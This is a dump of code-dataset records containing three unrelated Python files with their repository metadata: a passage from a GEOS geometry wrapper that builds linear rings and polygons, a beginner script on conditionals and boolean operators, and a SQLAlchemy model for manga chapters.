lgeos.GEOSCoordSeq_create(M, n) for i in xrange(m): lgeos.GEOSCoordSeq_setX(cs, i, cp[n*i]) lgeos.GEOSCoordSeq_setY(cs, i, cp[n*i+1]) if n == 3: lgeos.GEOSCoordSeq_setZ(cs, i, cp[n*i+2]) if M > m: lgeos.GEOSCoordSeq_setX(cs, M-1, cp[0]) lgeos.GEOSCoordSeq_setY(cs, M-1, cp[1]) if n == 3: lgeos.GEOSCoordSeq_setZ(cs, M-1, cp[2]) except AttributeError: m = len(ob) n = len(ob[0]) if m < 3: raise ValueError( "A LinearRing must have at least 3 coordinate tuples") assert (n == 2 or n == 3) if m == 3 or ob[0][0] != ob[-1][0] or ob[0][1] != ob[-1][1]: M = m + 1 else: M = m if update_geom is not None: cs = lgeos.GEOSGeom_getCoordSeq(update_geom) if n != update_ndim: raise ValueError( "Wrong coordinate dimensions; this geometry has dimensions: %d" \ % update_ndim) else: cs = lgeos.GEOSCoordSeq_create(M, n) for i in xrange(m): coords = ob[i] lgeos.GEOSCoordSeq_setX(cs, i, coords[0]) lgeos.GEOSCoordSeq_setY(cs, i, coords[1]) if n == 3: try: lgeos.GEOSCoordSeq_setZ(cs, i, coords[2]) except IndexError: raise ValueError("Inconsistent coordinate dimensionality") if M > m: coords = ob[0] lgeos.GEOSCoordSeq_setX(cs, M-1, coords[0]) lgeos.GEOSCoordSeq_setY(cs, M-1, coords[1]) if n == 3: lgeos.GEOSCoordSeq_setZ(cs, M-1, coords[2]) if update_geom is not None: return None else: return lgeos.GEOSGeom_createLinearRing(cs), n def update_linearring_from_py(geom, ob): geos_linearring_from_py(ob, geom._geom, geom._ndim) def geos_polygon_from_py(shell, holes=None): if shell is not None: geos_shell, ndim = geos_linearring_from_py(shell) if holes: ob = holes L = len(ob) exemplar = ob[0] try: N = len(exemplar[0]) except TypeError: N = exemplar._ndim assert L >= 1 assert N == 2 or N == 3 geos_holes = (c_void_p * L)() for l in xrange(L): geom, ndim = geos_linearring_from_py(ob[l]) geos_holes[l] = cast(geom, c_void_p) else: geos_holes = POINTER(c_void_p)() L = 0 return ( lgeos.GEOSGeom_createPolygon( c_void_p(geos_shell), geos_holes, L ), ndim ) def _test(): import doctest doctest.testmod() if __name__ == "__main__": _test()

true

f70541d9d771fb542f9dab03839544e3d44ed928

658

py

Python

TryAPP1.0/condition.py

deepankur797/random

fc7a1ac60d9de08c79bc5f5676705e45531ce6d9

[ "MIT" ]

null

TryAPP1.0/condition.py

deepankur797/random

fc7a1ac60d9de08c79bc5f5676705e45531ce6d9

[ "MIT" ]

null

TryAPP1.0/condition.py

deepankur797/random

fc7a1ac60d9de08c79bc5f5676705e45531ce6d9

[ "MIT" ]

null

x=2 print(x == 2) print(x == 3) print(x<3) #Boolean operators name = "John" age = 23 if name == "John" and age == 23: print("Your name is John, and you are also 23 years old.") if name == "John" or name == "Rick": print("Your name is either John or Rick.") # in operator #The "in" operator could be used to check if a specified object exists within an iterable object container, such as a list: mylist=["John","Rick"] if name in mylist: print("You are here with us") # if else statement block in python x=3 if(x==2): print("x is 2") elif(x==3): print("x is 3") else: print("value doesnot match")

20.5625

124

0.612462

x=2 print(x == 2) print(x == 3) print(x<3) name = "John" age = 23 if name == "John" and age == 23: print("Your name is John, and you are also 23 years old.") if name == "John" or name == "Rick": print("Your name is either John or Rick.") mylist=["John","Rick"] if name in mylist: print("You are here with us") x=3 if(x==2): print("x is 2") elif(x==3): print("x is 3") else: print("value doesnot match")

true

f7054235a1553c55fbb86f3ddd8de322b7a8e454

1,157

py

Python

mangaloid_instance/storage/models/chapter.py

compscifag/instance

449217abcab48cf3bbbb99ed2be9fcfacf2fa92f

[ "MIT" ]

null

mangaloid_instance/storage/models/chapter.py

compscifag/instance

449217abcab48cf3bbbb99ed2be9fcfacf2fa92f

[ "MIT" ]

null

mangaloid_instance/storage/models/chapter.py

compscifag/instance

449217abcab48cf3bbbb99ed2be9fcfacf2fa92f

[ "MIT" ]

null

from . import Base from sqlalchemy import Column, Integer, Text, DateTime, ForeignKey from datetime import datetime class Chapter(Base): __tablename__ = "chapters" id = Column(Integer, primary_key=True, autoincrement=True) manga_id = Column(Integer, ForeignKey("manga.id")) chapter_no = Column(Integer) chapter_postfix = Column(Text) ordinal = Column(Integer) page_count = Column(Integer) title = Column(Text) version = Column(Integer) language_id = Column(Text) group_id = Column(Integer) date_added = Column(DateTime) ipfs_link = Column(Text) def to_dict(self): return { "id" : self.id, "manga_id" : self.manga_id, "chapter_no" : self.chapter_no, "chapter_postfix" : self.chapter_postfix, "ordinal" : self.ordinal, "title" : self.title, "page_count" : self.page_count, "version" : self.version, "language_id" : self.language_id, "group_id" : self.group_id, "date_added" : int(self.date_added.timestamp()), "ipfs_link" : self.ipfs_link }

33.057143

66

0.615385

from . import Base from sqlalchemy import Column, Integer, Text, DateTime, ForeignKey from datetime import datetime class Chapter(Base): __tablename__ = "chapters" id = Column(Integer, primary_key=True, autoincrement=True) manga_id = Column(Integer, ForeignKey("manga.id")) chapter_no = Column(Integer) chapter_postfix = Column(Text) ordinal = Column(Integer) page_count = Column(Integer) title = Column(Text) version = Column(Integer) language_id = Column(Text) group_id = Column(Integer) date_added = Column(DateTime) ipfs_link = Column(Text) def to_dict(self): return { "id" : self.id, "manga_id" : self.manga_id, "chapter_no" : self.chapter_no, "chapter_postfix" : self.chapter_postfix, "ordinal" : self.ordinal, "title" : self.title, "page_count" : self.page_count, "version" : self.version, "language_id" : self.language_id, "group_id" : self.group_id, "date_added" : int(self.date_added.timestamp()), "ipfs_link" : self.ipfs_link }

true